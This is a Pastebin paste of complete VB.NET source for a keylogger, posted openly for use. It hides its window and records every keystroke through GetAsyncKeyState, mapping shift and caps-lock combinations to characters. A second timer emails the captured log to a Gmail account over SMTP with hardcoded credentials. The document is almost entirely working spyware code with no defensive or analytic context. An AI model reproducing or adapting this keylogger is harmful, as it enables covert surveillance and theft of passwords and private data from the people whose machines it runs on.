API tools faq
paste
Advertisement
Guest User

Accurate Email Sending Keylogger Code

a guest
Mar 4th, 2017
115
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.29 KB | None | 0 0
raw download clone embed print report
  1. Imports System.Net.Mail, System.Net, System.IO, System.Diagnostics.Process, System.Management
  2. 'Code by Techmaxed
  3. Public Class Form1
  4. Dim result As Integer
  5. Dim strin As String = Nothing
  6. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
  7. Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Int32) As Integer
  8. Public Function GetCapslock() As Boolean
  9.  
  10. GetCapslock = CBool(GetKeyState(&H14) And 1)
  11.  
  12. End Function
  13.  
  14. Public Function GetShift() As Boolean
  15. ' Return Or Set the Capslock toggle.
  16. GetShift = CBool(GetAsyncKeyState(&H10))
  17. End Function
  18. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  19. Me.FormBorderStyle = Windows.Forms.FormBorderStyle.FixedToolWindow
  20. Me.Hide()
  21. Me.Visible = False
  22. For i As Integer = 1 To 225
  23. result = 0
  24. result = GetAsyncKeyState(i)
  25. If result = -32767 Then
  26. If GetCapslock() = True And GetShift() = True Then
  27. Select Case (i)
  28. Case 192
  29. TextBox1.Text = TextBox1.Text + "~"
  30. Case 1
  31. 'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  32. Case 64 To 90
  33. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  34. Case 97 To 122
  35. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  36. Case 32
  37. TextBox1.Text = TextBox1.Text + " "
  38. Case 48
  39. TextBox1.Text = TextBox1.Text + ")"
  40. Case 49
  41. TextBox1.Text = TextBox1.Text + "!"
  42. Case 50
  43. TextBox1.Text = TextBox1.Text + "@"
  44. Case 51
  45. TextBox1.Text = TextBox1.Text + "#"
  46. Case 52
  47. TextBox1.Text = TextBox1.Text + "$"
  48. Case 53
  49. TextBox1.Text = TextBox1.Text + "%"
  50. Case 54
  51. TextBox1.Text = TextBox1.Text + "^"
  52. Case 55
  53. TextBox1.Text = TextBox1.Text + "&"
  54. Case 56
  55. TextBox1.Text = TextBox1.Text + "*"
  56. Case 57
  57. TextBox1.Text = TextBox1.Text + "("
  58. Case 8
  59. TextBox1.Text = TextBox1.Text + ""
  60. Case 46
  61. TextBox1.Text = TextBox1.Text + "[Del]"
  62. Case 190
  63. TextBox1.Text = TextBox1.Text + ">"
  64. Case 16
  65. Case 160 To 165
  66. Case 17
  67. TextBox1.Text = TextBox1.Text + ""
  68. Case 18
  69. TextBox1.Text = TextBox1.Text + ""
  70. Case 189
  71. TextBox1.Text = TextBox1.Text + "_"
  72. Case 187
  73. TextBox1.Text = TextBox1.Text + "+"
  74. Case 219
  75. TextBox1.Text = TextBox1.Text + "{"
  76. Case 221
  77. TextBox1.Text = TextBox1.Text + "}"
  78. Case 186
  79. TextBox1.Text = TextBox1.Text + ":"
  80. Case 222
  81. TextBox1.Text = TextBox1.Text + """"
  82. Case 188
  83. TextBox1.Text = TextBox1.Text + "<"
  84. Case 191
  85. TextBox1.Text = TextBox1.Text + "?"
  86. Case 220
  87. TextBox1.Text = TextBox1.Text + "|"
  88. Case 13
  89. TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  90. Case 20
  91. Case 91 'windows key
  92.  
  93. Case 2
  94. TextBox1.Text = TextBox1.Text + " [PPM]"
  95. Case 37 To 40
  96. Case Else
  97. TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  98. End Select
  99. End If
  100. If GetCapslock() = True And GetShift() = False Then
  101. Select Case (i)
  102. Case 91 'windows key
  103. Case 1
  104. 'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  105. Case 64 To 90
  106. TextBox1.Text = TextBox1.Text + Chr(i)
  107. Case 97 To 122
  108. TextBox1.Text = TextBox1.Text + Chr(i)
  109. Case 32
  110. TextBox1.Text = TextBox1.Text + " "
  111. Case 48 To 57
  112. TextBox1.Text = TextBox1.Text + Chr(i)
  113. Case 8
  114. TextBox1.Text = TextBox1.Text + ""
  115. Case 46
  116. TextBox1.Text = TextBox1.Text + "[Del]"
  117. Case 190
  118. TextBox1.Text = TextBox1.Text + "."
  119. Case 16
  120. Case 160 To 165
  121. Case 20
  122. Case 192
  123. TextBox1.Text = TextBox1.Text + "`"
  124. Case 189
  125. TextBox1.Text = TextBox1.Text + "-"
  126. Case 187
  127. TextBox1.Text = TextBox1.Text + "="
  128.  
  129. Case 219
  130. TextBox1.Text = TextBox1.Text + "["
  131. Case 221
  132. TextBox1.Text = TextBox1.Text + "]"
  133. Case 186
  134. TextBox1.Text = TextBox1.Text + ";"
  135. Case 222
  136. TextBox1.Text = TextBox1.Text + "'"
  137. Case 188
  138. TextBox1.Text = TextBox1.Text + ","
  139. Case 191
  140. TextBox1.Text = TextBox1.Text + "/"
  141. Case 220
  142. TextBox1.Text = TextBox1.Text + "\"
  143. Case 17
  144. TextBox1.Text = TextBox1.Text + ""
  145. Case 18
  146. TextBox1.Text = TextBox1.Text + ""
  147. Case 13
  148. TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  149.  
  150. Case 2
  151. TextBox1.Text = TextBox1.Text + " [PPM]"
  152. Case 37 To 40
  153. Case Else
  154. TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  155. End Select
  156. End If
  157. If GetCapslock() = False And GetShift() = True Then
  158. Select Case (i)
  159. Case 91 'windows key
  160. Case 192
  161. TextBox1.Text = TextBox1.Text + "~"
  162. Case 1
  163. ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  164. Case 64 To 90
  165. TextBox1.Text = TextBox1.Text + Chr(i)
  166. Case 97 To 122
  167. TextBox1.Text = TextBox1.Text + Chr(i)
  168. Case 32
  169. TextBox1.Text = TextBox1.Text + " "
  170. Case 48
  171. TextBox1.Text = TextBox1.Text + ")"
  172. Case 49
  173. TextBox1.Text = TextBox1.Text + "!"
  174. Case 50
  175. TextBox1.Text = TextBox1.Text + "@"
  176. Case 51
  177. TextBox1.Text = TextBox1.Text + "#"
  178. Case 52
  179. TextBox1.Text = TextBox1.Text + "$"
  180. Case 53
  181. TextBox1.Text = TextBox1.Text + "%"
  182. Case 54
  183. TextBox1.Text = TextBox1.Text + "^"
  184. Case 55
  185. TextBox1.Text = TextBox1.Text + "&"
  186. Case 56
  187. TextBox1.Text = TextBox1.Text + "*"
  188. Case 57
  189. TextBox1.Text = TextBox1.Text + "("
  190. Case 8
  191. TextBox1.Text = TextBox1.Text + " [<-] "
  192. Case 46
  193. TextBox1.Text = TextBox1.Text + "[Del]"
  194. Case 190
  195. TextBox1.Text = TextBox1.Text + ">"
  196. Case 16
  197. Case 160 To 165
  198. Case 17
  199. TextBox1.Text = TextBox1.Text + ""
  200. Case 18
  201. TextBox1.Text = TextBox1.Text + ""
  202. Case 189
  203. TextBox1.Text = TextBox1.Text + "_"
  204. Case 187
  205. TextBox1.Text = TextBox1.Text + "+"
  206. Case 219
  207. TextBox1.Text = TextBox1.Text + "{"
  208. Case 221
  209. TextBox1.Text = TextBox1.Text + "}"
  210. Case 186
  211. TextBox1.Text = TextBox1.Text + ":"
  212. Case 222
  213. TextBox1.Text = TextBox1.Text + """"
  214. Case 188
  215. TextBox1.Text = TextBox1.Text + "<"
  216. Case 191
  217. TextBox1.Text = TextBox1.Text + "?"
  218. Case 220
  219. TextBox1.Text = TextBox1.Text + "|"
  220. Case 13
  221. TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
  222.  
  223. Case 20
  224. Case 2
  225. TextBox1.Text = TextBox1.Text + " [PPM]"
  226. Case 37 To 40
  227. Case Else
  228. TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  229. End Select
  230. End If
  231. If GetCapslock() = False And GetShift() = False Then
  232. Select Case (i)
  233. Case 1
  234. ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
  235. Case 64 To 90
  236. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  237. Case 97 To 122
  238. TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
  239. Case 32
  240. TextBox1.Text = TextBox1.Text + " "
  241. Case 48 To 57
  242. TextBox1.Text = TextBox1.Text + Chr(i)
  243. Case 8
  244. TextBox1.Text = TextBox1.Text + " [<-] "
  245. Case 46
  246. TextBox1.Text = TextBox1.Text + "[Del]"
  247. Case 190
  248. TextBox1.Text = TextBox1.Text + "."
  249. Case 16
  250. Case 160 To 165
  251. Case 20
  252. Case 192
  253. TextBox1.Text = TextBox1.Text + "`"
  254. Case 189
  255. TextBox1.Text = TextBox1.Text + "-"
  256. Case 187
  257. TextBox1.Text = TextBox1.Text + "="
  258. Case 91 'windows key
  259. Case 219
  260. TextBox1.Text = TextBox1.Text + "["
  261. Case 221
  262. TextBox1.Text = TextBox1.Text + "]"
  263. Case 186
  264. TextBox1.Text = TextBox1.Text + ";"
  265. Case 222
  266. TextBox1.Text = TextBox1.Text + "'"
  267. Case 188
  268. TextBox1.Text = TextBox1.Text + ","
  269. Case 191
  270. TextBox1.Text = TextBox1.Text + "/"
  271. Case 220
  272. TextBox1.Text = TextBox1.Text + "\"
  273. Case 17
  274. TextBox1.Text = TextBox1.Text + ""
  275. Case 18
  276. TextBox1.Text = TextBox1.Text + ""
  277. Case 13
  278. TextBox1.Text = TextBox1.Text + " [Enter] " + vbNewLine
  279.  
  280. Case 2
  281. TextBox1.Text = TextBox1.Text + " [PPM]"
  282. Case 37 To 40
  283.  
  284. Case Else
  285. TextBox1.Text = TextBox1.Text + " (" + i.ToString + ") "
  286. End Select
  287. End If
  288.  
  289. End If
  290. Next i
  291. End Sub
  292. Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  293. Dim MyMailMessage As New MailMessage
  294. MyMailMessage.From = New MailAddress("email@gmail.com") 'You Gmail account
  295. MyMailMessage.To.Add("email@gmail.com") 'Here you can type another gmail account who will recieve the logs
  296. MyMailMessage.Subject = ("Information keylogger:")
  297. MyMailMessage.Body = TextBox1.Text
  298. Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  299. SMTPServer.Port = 587
  300. SMTPServer.Host = "smtp.gmail.com"
  301. SMTPServer.Credentials = New System.Net.NetworkCredential("email@gmail.com", "Your gmail pasword") 'Your Gmail account + Password
  302. SMTPServer.EnableSsl = True
  303. SMTPServer.Send(MyMailMessage)
  304. TextBox1.Text = ("")
  305. End Sub
  306. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!